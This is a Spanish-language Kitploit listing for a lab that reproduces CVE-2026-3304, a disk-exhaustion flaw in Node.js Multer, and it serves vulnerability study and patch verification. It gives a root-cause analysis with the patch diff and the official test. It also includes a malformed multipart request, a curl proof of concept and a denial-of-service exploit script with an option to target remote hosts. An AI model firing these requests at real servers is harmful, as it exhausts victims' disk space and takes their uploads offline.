Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/mkway/cve-2026-3304
Análisis de VulnerabilidadesExplotaciónSeguridad WebAprendizaje y EducaciónLabs y Práctica
GitHubmkway/cve-2026-3304

CVE-2026-3304

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Laboratorio de reproducción para CVE-2026-3304, una condición de carrera en el fileFilter asíncrono de Multer que provoca el agotamiento del disco mediante archivos temporales huérfanos. Incluye servidores Docker vulnerables y parcheados, scripts de explotación y análisis de la causa raíz.

Compartir

Entorno de Laboratorio CVE-2026-3304

Solo con fines educativos y de investigación. Atacar sistemas sin autorización es ilegal.

Este entorno de laboratorio fue construido analizando el parche de Multer 2.1.0 y su código de prueba oficial. El servidor vulnerable replica las condiciones exactas descritas en la prueba del parche, y el servidor parcheado ejecuta Multer 2.1.0 para confirmar que la corrección funciona.

Resumen de la Vulnerabilidad

CampoDetalles
CVECVE-2026-3304
ObjetivoMulter < 2.1.0 (middleware multipart/form-data de Node.js)
TipoDoS — Archivo Huérfano (limpieza incompleta de archivos temporales)
CWECWE-459: Limpieza Incompleta
CVSS 4.08.7 ALTA
Versión ParcheadaMulter 2.1.0

Una solicitud multipart malformada con un atributo name faltante en una parte de archivo hace que Multer cree un archivo temporal en el disco pero nunca lo limpie. Las solicitudes repetidas agotan el espacio en disco, resultando en una Denegación de Servicio.


Análisis de la Causa Raíz

La vulnerabilidad se origina en el flujo de manejo del callback fileFilter dentro de multer/lib/make-middleware.js.

Problema central: temporización de setImmediate + verificación faltante de errorOccured

Cuando Multer transmite y analiza una solicitud multipart parte por parte, ocurre la siguiente secuencia:

root@kitploit:~
[Secuencia de eventos de análisis — versión vulnerable]

1. Se recibe el encabezado de la Parte 1
   → se llama a fileFilter(req, file, cb)
   → setImmediate(cb) → callback diferido al siguiente tick del bucle de eventos

2. Se recibe el cuerpo de la Parte 1
   → se abre /tmp/uploads/<uuid>, los datos comienzan a escribirse

3. Se recibe el encabezado de la Parte 2 (falta el atributo name)
   → Multer detecta 'name faltante'
   → errorOccured = true  ← se establece la bandera de error
   → se llama a abortWithCode('LIMIT_FIELD_KEY') → se programa HTTP 500

4. El callback de setImmediate se ejecuta (siguiente tick del bucle de eventos)
   → resultado de fileFilter: includeFile = true (flujo normal)
   → [ERROR] la bandera errorOccured NO se verifica
   → se llama a storage._handleFile() → el archivo temporal se confirma en el disco

5. Se envía la respuesta HTTP 500
   → el archivo temporal permanece en el disco (archivo huérfano)

Código vulnerable (make-middleware.js — Multer < 2.1.0)

root@kitploit:~
// callback de finalización de fileFilter (diferido mediante setImmediate)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ errorOccured nunca se verifica aquí
  //    incluso si se estableció un error durante el análisis de la Parte 2, la ejecución continúa
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // el archivo temporal se registra en uploadedFiles y se deja en el disco
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

¿Por qué setImmediate es el problema?

Envolver fileFilter con setImmediate difiere su callback al siguiente tick del bucle de eventos. En esa ventana, busboy (el analizador multipart) continúa analizando los encabezados de la siguiente parte, descubre el name faltante y establece errorOccured = true. Cuando el callback se reanuda, el estado de error ya está establecido — pero el código nunca lo verifica, por lo que storage._handleFile se llama incondicionalmente y el archivo temporal se escribe en el disco.


Análisis del Código del Parche (Multer 2.1.0)

Commit de corrección: 739919097d

Se agregó una única protección if (errorOccured) inmediatamente después de la entrada del callback de fileFilter, antes de que se alcance storage._handleFile.

root@kitploit:~
// callback de finalización de fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [PARCHE] Verificar errorOccured antes de continuar
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // drenar el flujo — no se escribe ningún archivo en el disco
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Resumen de cambios

ElementoVulnerable (< 2.1.0)Parcheado (2.1.0)
Verificación de errorOccured❌ No verificada✅ Verificada inmediatamente en la entrada del callback
_handleFile llamado en caso de errorSíBloqueado
Limpieza de archivos temporales❌ Faltante✅ Mediante fileStream.resume()
Archivos huérfanos por solicitud10

Por qué fileStream.resume() limpia: Llamar a fileStream.resume() drena y descarta el flujo sin pasarlo a DiskStorage, por lo que no se escribe ningún archivo y no queda nada en el disco.


Código de Prueba Oficial del Parche

El equipo de Multer incluyó la siguiente prueba Mocha en el parche 2.1.0 para verificar la corrección. Esta prueba se convirtió en el modelo para este entorno de laboratorio — el servidor vulnerable replica la configuración exacta descrita aquí (setImmediate fileFilter + solicitud multipart malformada), y el comportamiento esperado se verifica tanto en las versiones vulnerable como parcheada.

root@kitploit:~
/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('limpieza de fileFilter asíncrono', function () {
  it('no deja archivos huérfanos cuando la solicitud se aborta con nombre de campo faltante', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Disparador de vulnerabilidad: fileFilter asíncrono mediante setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Manejador de errores: responder con 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Cuerpo malicioso: Parte 1 válida, Parte 2 sin atributo name
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= faltante
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Afirmación 1: el servidor debe responder con 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Afirmación 2: no deben quedar archivos huérfanos en el disco
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})
AfirmaciónSignificado
res.statusCode === 400Multer rechaza correctamente la solicitud malformada
files.length === 0No quedan archivos huérfanos en el disco (parche verificado)

En una versión vulnerable (< 2.1.0), files.length es igual a 1 y la afirmación falla.


Implementación del Laboratorio

Este laboratorio refleja directamente la configuración de la prueba del parche anterior.

Servidor vulnerable (Dockerfile + app/server.js) ejecuta Multer 2.0.2 con un fileFilter asíncrono usando setImmediate — la condición de disparo exacta de la prueba del parche:

root@kitploit:~
// app/server.js — replica el disparador de vulnerabilidad de la prueba del parche
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← difiere el callback, creando la condición de carrera
      cb(null, true)
    })
  }
})

Servidor parcheado (Dockerfile.patched) ejecuta el mismo server.js pero instala Multer 2.1.0, donde la protección errorOccured está en su lugar — coincidiendo con el estado de aprobación esperado de la prueba del parche.

ServidorPuertoMulterComportamiento esperado
Vulnerable30002.0.2Archivo huérfano creado por solicitud malformada
Parcheado30012.1.0Sin archivos huérfanos — la limpieza funciona correctamente

Nota: Cambiar fileFilter a síncrono (eliminando setImmediate) previene archivos huérfanos incluso en Multer < 2.1.0. La vulnerabilidad requiere ambas condiciones: un fileFilter asíncrono y la verificación faltante de errorOccured.


Ataque: Solicitud POST Malformada

El ataque envía un POST multipart/form-data donde la segunda parte carece del atributo name requerido.

Solicitud normal (segura)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<datos binarios>
------Boundary--

Solicitud maliciosa (dispara CVE-2026-3304)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← Parte 1: válida, archivo temporal creado aquí
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← Parte 2: ¡name= faltante!
Content-Type: application/octet-stream

x
------Boundary--

Ejecución en el lado del servidor:

root@kitploit:~
1. Llega la Parte 1  →  Multer abre /tmp/uploads/<uuid> y comienza a escribir
2. fileFilter llamado con setImmediate  →  callback diferido
3. Llega la Parte 2  →  Multer detecta name faltante  →  errorOccured = true
4. setImmediate se ejecuta  →  el callback de fileFilter se ejecuta
5. [ERROR] errorOccured no verificado  →  se llama a storage._handleFile
6. Archivo temporal escrito en el disco
7. Se devuelve HTTP 500
8. /tmp/uploads/<uuid> permanece en el disco para siempre  ← archivo huérfano

Respuesta del servidor:

root@kitploit:~
HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

PoC con curl

root@kitploit:~
curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

Verifique los archivos huérfanos inmediatamente después:

root@kitploit:~
curl http://localhost:3000/status

Configuración

Requisitos

  • Docker, Docker Compose
  • Python 3 + requests (pip install requests)

Inicio

root@kitploit:~
# Iniciar servidores vulnerable (puerto 3000) + parcheado (puerto 3001)
docker compose up -d --build

# Verificar que ambos estén ejecutándose
curl http://localhost:3000/status
curl http://localhost:3001/status

Uso

Paso 1 — Solicitud malformada única (prueba rápida)

root@kitploit:~
bash exploit/curl_poc.sh

Paso 2 — Exploit DoS

root@kitploit:~
# Predeterminado (50 solicitudes)
python3 exploit/exploit.py

# Ataque pesado (500 solicitudes, carga útil de 5 KB cada una)
python3 exploit/exploit.py --count 500 --size 5120

# Contra objetivo HTTPS con certificado autofirmado
python3 exploit/exploit.py --target https://target.example.com --no-verify

# Comparar contra la versión parcheada
python3 exploit/exploit.py --target http://localhost:3001 --count 50

Paso 3 — Monitoreo en tiempo real (terminal separada)

root@kitploit:~
bash exploit/monitor.sh

Paso 4 — Restablecer directorio de carga

root@kitploit:~
curl -X DELETE http://localhost:3000/reset

Resultados Esperados

ObjetivoResultado
Servidor vulnerable (3000)Archivo huérfano creado por solicitud, el disco crece continuamente
Servidor parcheado (3001)0 archivos huérfanos independientemente del número de solicitudes

Resultados de Pruebas Verificados

Salida del exploit (servidor vulnerable, 50 solicitudes × 2 KB)

root@kitploit:~
[*] CVE-2026-3304 Exploit DoS de Archivo Huérfano de Multer
[*] Objetivo : http://localhost:3000/upload
[*] Solicitudes: 50  |  Retraso: 0.0s  |  Carga útil: 2048 bytes
------------------------------------------------------------
[*] Antes del ataque — archivos huérfanos: 0

[  10/50] respuesta 500: Verdadero | archivos huérfanos: 10  | disco: 20.00 KB
[  20/50] respuesta 500: Verdadero | archivos huérfanos: 20  | disco: 40.00 KB
[  30/50] respuesta 500: Verdadero | archivos huérfanos: 30  | disco: 60.00 KB
[  40/50] respuesta 500: Verdadero | archivos huérfanos: 40  | disco: 80.00 KB
[  50/50] respuesta 500: Verdadero | archivos huérfanos: 50  | disco: 100.00 KB

============================================================
[Resultado] Total de solicitudes: 50  |  Disparadas: 50
[Resultado] Archivos huérfanos: 0 -> 50
[Resultado] Disco desperdiciado:    100.00 KB

[!] VULNERABLE: 50 archivos temporales dejados en el disco, nunca limpiados
[!] Los ataques repetidos agotarán el espacio en disco (DoS)

Uso real de disco verificado dentro del contenedor

root@kitploit:~
$ docker exec cve-2026-3304-target df -h /tmp/uploads

Antes del ataque:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

Después de 200 solicitudes × 5 KB:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

Cada archivo huérfano permanece en el disco permanentemente hasta que el servidor se reinicia o se limpia manualmente. El tmpfs del contenedor está limitado a 50 MB — alcanzar el límite hace que el servidor falle en nuevas cargas por completo.

Dos ejecuciones sin restablecimiento — los archivos se acumulan

root@kitploit:~
Ejecución 1:  archivos huérfanos   0  ->  50   (100 KB)
Ejecución 2:  archivos huérfanos  50  -> 100   (200 KB)
        ↑ los archivos de la ejecución 1 aún están presentes — nunca se limpiaron

Servidor parcheado (Multer 2.1.0) — mismo ataque, impacto cero

root@kitploit:~
[  10/50] respuesta 500: Verdadero | archivos huérfanos: 0  | disco: 0.00 KB
[  20/50] respuesta 500: Verdadero | archivos huérfanos: 0  | disco: 0.00 KB
[  30/50] respuesta 500: Verdadero | archivos huérfanos: 0  | disco: 0.00 KB
[  40/50] respuesta 500: Verdadero | archivos huérfanos: 0  | disco: 0.00 KB
[  50/50] respuesta 500: Verdadero | archivos huérfanos: 0  | disco: 0.00 KB

[*] Sin archivos huérfanos — la versión parcheada limpia correctamente

Desmontaje

root@kitploit:~
docker compose down

Referencias

  • Aviso de GitHub GHSA-xf7r-hgr6-v32p
  • Commit de corrección 739919097d
  • NVD CVE-2026-3304
Descargar herramienta